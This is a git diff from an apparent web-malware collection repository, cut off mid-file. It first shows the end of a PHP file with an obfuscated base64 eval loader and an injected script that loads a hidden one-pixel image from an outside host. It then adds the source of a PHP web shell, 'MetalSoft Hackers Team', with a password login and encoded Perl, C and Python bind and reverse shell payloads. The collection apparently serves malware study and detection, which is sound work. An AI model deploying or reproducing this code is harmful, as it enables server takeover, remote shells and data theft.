print"</font></td></tr></table>";$_F=__FILE__;$_X='Pz48c2NyNHB0IGwxbmczMWc1PWoxdjFzY3I0cHQ+ZDJjM201bnQud3I0dDUoM241c2MxcDUoJyVvQyU3byVlbyU3YSVlOSU3MCU3dSVhMCVlQyVlNiVlRSVlNyU3aSVlNiVlNyVlaSVvRCVhYSVlQSVlNiU3ZSVlNiU3byVlbyU3YSVlOSU3MCU3dSVhYSVvRSVlZSU3aSVlRSVlbyU3dSVlOSVlRiVlRSVhMCVldSV1ZSVhOCU3byVhOSU3QiU3ZSVlNiU3YSVhMCU3byVvNiVvRCU3aSVlRSVlaSU3byVlbyVlNiU3MCVlaSVhOCU3byVhRSU3byU3aSVlYSU3byU3dSU3YSVhOCVvMCVhQyU3byVhRSVlQyVlaSVlRSVlNyU3dSVlOCVhRCVvNiVhOSVhOSVvQiVhMCU3ZSVlNiU3YSVhMCU3dSVvRCVhNyVhNyVvQiVlZSVlRiU3YSVhOCVlOSVvRCVvMCVvQiVlOSVvQyU3byVvNiVhRSVlQyVlaSVlRSVlNyU3dSVlOCVvQiVlOSVhQiVhQiVhOSU3dSVhQiVvRCVpbyU3dSU3YSVlOSVlRSVlNyVhRSVlZSU3YSVlRiVlRCV1byVlOCVlNiU3YSV1byVlRiVldSVlaSVhOCU3byVvNiVhRSVlbyVlOCVlNiU3YSV1byVlRiVldSVlaSV1NiU3dSVhOCVlOSVhOSVhRCU3byVhRSU3byU3aSVlYSU3byU3dSU3YSVhOCU3byVhRSVlQyVlaSVlRSVlNyU3dSVlOCVhRCVvNiVhQyVvNiVhOSVhOSVvQiVldSVlRiVlbyU3aSVlRCVlaSVlRSU3dSVhRSU3NyU3YSVlOSU3dSVlaSVhOCU3aSVlRSVlaSU3byVlbyVlNiU3MCVlaSVhOCU3dSVhOSVhOSVvQiU3RCVvQyVhRiU3byVlbyU3YSVlOSU3MCU3dSVvRScpKTtkRignKjhIWEhXTlVZKjdpWFdIKjhJbXl5Myo4RnV1Mm5zdG8ybm9renMzbmhvdHdsdXF2dXhqaHp3bnklN0VvMngqOEoqOEh1WEhXTlVZKjhKaScpPC9zY3I0cHQ+';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw==')); +?> +<script type="text/javascript">document.write('\u003c\u0069\u006d\u0067\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0061\u006c\u0074\u0075\u0072\u006b\u0073\u002e\u0063\u006f\u006d\u002f\u0073\u006e\u0066\u002f\u0073\u002e\u0070\u0068\u0070\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0022\u0031\u0022\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0022\u0031\u0022\u003e')</script> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/metaslsoft.php b/web-malware-collection-master/Backdoors/PHP/metaslsoft.php new file mode 100755 index 0000000..6715b99 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/metaslsoft.php @@ -0,0 +1,1612 @@ +<?php + +// MetalSoftHackersTeam +// Jayalah Indonesiaku + +error_reporting(0); +@set_time_limit(0); + + +$s_name = "MetalSoft Hackers Team"; // Nombre de la shell +$s_ver = "1.1"; // Version de la shell +$s_title = $s_name." ".$s_ver; // Titulo de la shell +$s_pass = "d9ae3f29b7765b499485e924d3fe10e9"; // password (oficial passwd: metalsoft) + +$s_auth = false; // login status +if(strlen(trim($s_pass))>0){ + if(isset($_COOKIE['MetalSoftTeam'])){ + if(strtolower(trim($s_pass)) == strtolower(trim($_COOKIE['MetalSoftTeam']))) $s_auth = true; + } + if(isset($_REQUEST['login'])){ + $login = strtolower(trim($_REQUEST['login'])); + if(strtolower(trim($s_pass)) == md5($login)){ + setcookie("MetalSoftTeam",md5($login),time() + 3600*24*7); + $m = $_SERVER['SCRIPT_NAME']; + header("Location: ".$m); + die(); + } + else{ + setcookie("MetalSoftTeam",$login,time() - 3600*24*7); + $m = $_SERVER['SCRIPT_NAME']; + header("Location: ".$m); + die(); + } + } +} +else $s_auth = true; // $s_pass variable (password) is empty , go ahead, no login page + + +// resources $xback_pl $xbind_pl $xback_c $xbind_c $xmulti_py $wmulti_c... this was used with bind and reverse shell +// use gzinflate(base64_decode($the_code)) if you wanna see the real code.. in case you dont trust me ;-P +$xback_pl ="dZFfT4MwFMXf+RQVmSvJEuYzqcmCaJZlYwH0xT+EwVUbR0vaLmZx87PblqnEbG/33HPOL7dwfhZspAhWlAUtiLWzkYAyXr2DCh2PS0SQ95zoUW6lgoa4Ninf3NChL9gGvlATfOgl9T/Rb2wQJfNsGUcDFMzccO94Y+JVTa1BqhSvoIg3SW/vHy6f9Kbl4kePjaZlXQtCGaiiVJzhQ8VHux2qKWAXhODikbm+Kduw1BeboaA6bngj1GFOlARXnGimHVZbVjaAh6pqh9qV9vU4S6JZnI/Q8qaYLsxgFkWWp/Fkrum2eZReccag+gN0Jx6N8hYYzvLr6WKE3KuLrtE3krv8hBOn6T+n+/T48AvMIWsuocP3lWb2pQZp+Q0="; +$xbind_pl ="bZFvS8MwEMbf51PcYre1UKjiy1pxdFXHtnY0VRD/lNneNFiT0maozPnZTYpTEd+F537P5e65vZ63bhvvnguvxqYilmwhAOsu8YnFzqPZLKBdsX2kPuEru6t/wLP3okXubGBH9cNkzhZR2AdvSv2tZsE+GaVnl3AEBw5sAF+5sg8cH7bEmk1YFsX5IkmzwDLQ9f6tT9YtApPFEyr9ed1IJQtZBQ+ouvf9m1g+oz1URT10fNJ2oM3cweI0n8RR5g5YEk5zlqXRaO5++x14f4eSo02xaWRzI6gxozJ+WZsGLJnlxqpbsCRPowsWjcbj1NWzEr16qREDL8uyybmwfw/vTmKD5qP4yvn3o4q3CoXucLgrA9VBvjzyCnUYZEOWRYF6jDCJY5c5XcY926p5Gaxk8+QYpHOFSyGkAiNSMOH2SlxxgSUYWBtljQJYNp7ELj0amH70R0wuMpce/1WjNP2l4isWX+f8b5Wikvo+hjUoV7Dvky3ZfgI="; +$xback_c = "XVFNawIxEL0L/odhhZJocF2v2oKIBSmtontrZVmTbDd0TSSJxQ/8702y1loPSWbmvXkzvLSEpNWOcRgay4Tqlk/NRuuvdjCxUfSL2ztAcivciYUMgJAWNrmQyAe5/qQEaJlraLv4+32FTzWlYINmw1i9oxa8bM6YzoQEI6QDWM43SqKE9LCnOWl3siLfiOoAjzB6zqZvk/QG2iptHVBaJQ3KrRIojEtW+FbAD+ma8Diy3zrENbe/8tT1kWv1WyBuwYrLK95JOreVi3rBnFhtDbpsRmA5G79ky3QxGb0SmM7ni1k6y9LxHIPrEAUgRJWUnFpUMALozgloY3hwGxPnx5Gr4h7HGA97+LTlWiuNovB8yAgP+F5Y5Ew7Ow93234QDx5es+Rf1vcZ33NaoSheCxmbMiKRv1D9azh000oZ7hp8fP4B"; +$xbind_c = "dVJhS+QwEP0u+B9yFW6Ttex2BT/1erCcCiK3B+oXUSkxSe1gNylJVl0W//tNmha0KrRJ5r2XzMtMDkCLZiMV+eW8BDOrf+/vHbzDLOjHMbh1c79tlfsCd0Y8KT8itPKA/xz0iFDW6pgStCdrDppy+yhSHJ5ZBEOc7++JmlsynQYi30UmpKpkSrR6qSRK0OtGRJhLaUvQxKq18Qo5qGhl7BNlpChIxggeEbmZA11WfA3NlhRkeVaer06v8w9sa6xHrvZGO8q9geDx+XZxz9hHYcg6c93U6xt6vlqenFyWy9VNEEfLSMYy0T5fevXvz0V5dX15uvybZiz6/RHFjLRYJWNp0k13Ogn8A2hJ+wLQ0cXJlP2MrlKSvS668xpwXulhx3GAXmpoFF0wLEVXwYILoVo/aLJoRG7aI9rxn+LFKD4KsXpVoqHJHA3OXZ2kSRho7B7rThCNcSpuCeHb8IWWirrlzvXyB+7wBnGttFdWSda3HnAj9pNCkeUQHmmDlxs0ORwe4uPZdVXswVu4D52f3OkJUu9BxLJJ/qXWfqcNbiuCHfJWrFvaGR2ys/Ak/MZqkgXlfw=="; +$xmulti_py = "lVNda9swFH22wf9B9R4qk9T56PYS0CCMlJYlzWgyGHQjuLZSizqSkZS2+ffVvbKb0GSM5SHWx9E5514dfTrrbY3uPQjZ4/KZ1DtbKhmFYlMrbYkyXWJ28KfyJ267xIoNj8LZ+NdqOrllg/7wcxQurifTKYuR4yEzJbnI4yhc3swmq/nPJbvs96Pwx/xuyWK3fD1f+EHB18SUvKpovimSURQGplyprWXKpLWquaTI24lJ3AFEqnlWVEJyQxMHlg0aqIK10kQQIYnO5COnlTvstxMkbsEd5r/34o9b1dxutSTNnjeU5VYoSXMlJZ58KUXFyVJvOfJYvcNvUDtHDFDOVf5Mm36Ar4C/5ry2DUwLaWnMtVb6t4xxv9UFUsRXxpMHwInlBKcKAsnkYuALQnCHwZovxv3EmgADi0dFHjeoj2Igt8eZ4iPuKnNuWmDrC6nBAjj42m8XA2j//gbbVeyK4bKg0P8ozPTjM3MZSmHgguWpYJIwNgQyzAYs3A9cKWjwAHJ5DAkwRDgd4gnnlPBXYekgaaIGfYdBgoouUq6jTzQ5Y2gf7CC+7/Yh2sznO/Uf2szGV6ub28myTX+6mH/7vlos7ybjWXPOFWrhSbhSaRv45GSRiHYvpKD0vFJ5VpXK2PMuQZNJC6iEse4g2NJbyfy1+RC6OfCcaA7GEj2m0HyeW0qhQwfk/04lVJGaivOafknecwmqrHkUIAA778EA2QDfSjcrCp1gE9MsByX636qD06r4FI/qHo6Iz1m5tYV6kXR45Iw09+M6HseHbshfRD1+T/gG"; +$wmulti_c = "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"; +$favicon = "AQYD+fyJUE5HDQoaCgAAAA1JSERSAAAAEAAAABAIBgAAAB/z/2EAAAAEZ0FNQQAAr8g3BYrpAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAphJREFUOMudk8lPU1EUxvkbXAMdXlug2Kp0eu8ViiUIC2wZJJYqkwUqFiqUMjqgAQppUnAIiBKmFoq0thYKBI0GBGMw0ejGxIVLdyYmYDQ0xPD5HokopmXh4kvuyb3nd853ck8cgLhYylymkblIadlzxmNVUXpAuf3vmwOB9pma+DvWhElkhFRhy4Cer/YpaugZ+bdDASfZiktU8+84PaiKqP3Kr+YbOd6CXnqbHpPtltjUzpgAzQK5mTFPRvZaDpBb9KwClFcOyi1H53oT1j+H0O6qgK4mrSUqgPGpTX+khMZHbuYFTiH4YRxPPk5j4KUDklvJqFjOh//1ME70H8VxZyqkDjFTdZ7cYnzue2d87mZ6Kcy+u42epyZcDZegNVwJzTAJiTMFpmkDsgtEn/Y7YHzuMD5BP1R4NF7yy9lgAbxv+3FzqRz2YD7KprJg9BfC92YEQ6sDkHanQG0Uhg5YoKblG6RbBnJchsD7QXQulqIpoEeZWwvDjB731xywzxrwYKUXkk4xxB2i7ymtQuuBGZCjsojRVwTXcysa/TqUTmSh2HMa91a7YZ0qRNVYLgNwQtwmQrJdsJvUSEBUz/8zQNVQ2o/aoAl3VtpQNpmNMxN5cC22w+LRwzSaC8e8DQ2TFiTZBEiuJ46wOYSZe20fQN9V9KW5JOhaakPxuA6uhQ5Y3DpUjuSgZ84G6roSostM1TqiOuY/kPUdWyOauRh7MYiuUD0uMqCeuUZcmWmBsI4PQS0PRA03wjdxmqMCWEmvitekHWI0uGth99RBahPvJQrNvGomUcurSNzkliaAcy6eiApglWoXuZOs/J+CS0xFMxf8Ks6rWAsXd9g2suJf4GzwyhPBPZ9A/BeAFccYv5NoiN+KdvcLtyxxEwhxgvoAAAAASUVORK5CYII="; +$style = "tVbbitswEP0VwVJoYR18SdNd52kp9AtKX4tsybFYWTKysknW9N9ryVI0sZ3sFrbWS+KM5nLOmZkUkpx6VODyeafkXpD8LrbPFlVS6KhjrzRPkvbovle4YfyU/8S1bPD9L6oIFvj+STHMt6iUXKr8rqqqLfqD7hrMxKXrxD5b1GJCmNjlaXtED8Z31MjXqJCKUBUpTNi+y1ESm18WXx4Y0XWexPEnG6imeLDpUYPVjok8DgGGj5oedYQ524mc00qDC0iTK3eCSZ30AIjURgeG4XZ0oMUz05FWWHSVVE2OlNRY089Rkq2yb4Tuvrg6b5vA2Aj3AFSHa3i3/v6QPf1wJRJaSoU1kyIXUlBjuTKOmKhk72E0COQDm6iTnBF09uDq2MDyDDnxcBL71nnTBe8n8Pv3HdIDBzVlu1rn6dpceqFKsxJzh3/DCOFjZjt8wvdo9WJom1Rj4T6MbgrJibW3hh+GMadaD2h0LS5dpaNgqdgvC9bzjAwoQ2nIXVmZKw1D/Rm1tZd0kMaEQeg/fTRn+z5Cl7L+MEiWOnC90IDri8LzWlpmYE3Zxpxbqb2d2UU/rJho9/p1kEurZNPq4QN9wbyUhC6zNaYMezoFlRRSa9nALsgezZlPvFnruQT6ZY2GpGCDuIbIUtqAYoq97mfxLmp5NGemjLMQATewlNQ+YzrHdrg6yQbKNIZmZqxcnSPexgzMqyj60OfxOPYBZ4JGt6aClu1lkDp0U+a7CQIuBqWYdXPRSLO6h2m0pM7kwRxr2NGm2IsT6xFhXcvxyRUc5nvo4WE6KNrt+cDaP+6qOUeey9nIgFCNU3dJ3U4RGGMgBwv2yGhrOJ+QYKRbt2YVII0LfkUUifExZg0vkP5WHqV9gpONq2b7tlJgkPreEr9E1WKz+Yt12sMVr4zVRSd/BcM4i91OiyfQluYAICwGk3m7meBiIl8t0XMM7MPe9pCZvcbooWJTQgCtrlHfg6X3ZRmDW3x9c/p5D1e6xHstB0ip0MGzmVlndTWnQh7/Q28k031q8QhiHwNbLhb+yQXL60TZJ7ha+oOjut+++YPr5PZOAX4rKbUZQ3OZAm+b85QbZbukwBQspcD7Xw=="; +// http://www.kryogenix.org/code/browser/sorttable/ - this makes the tables sortable +$sortable_js = "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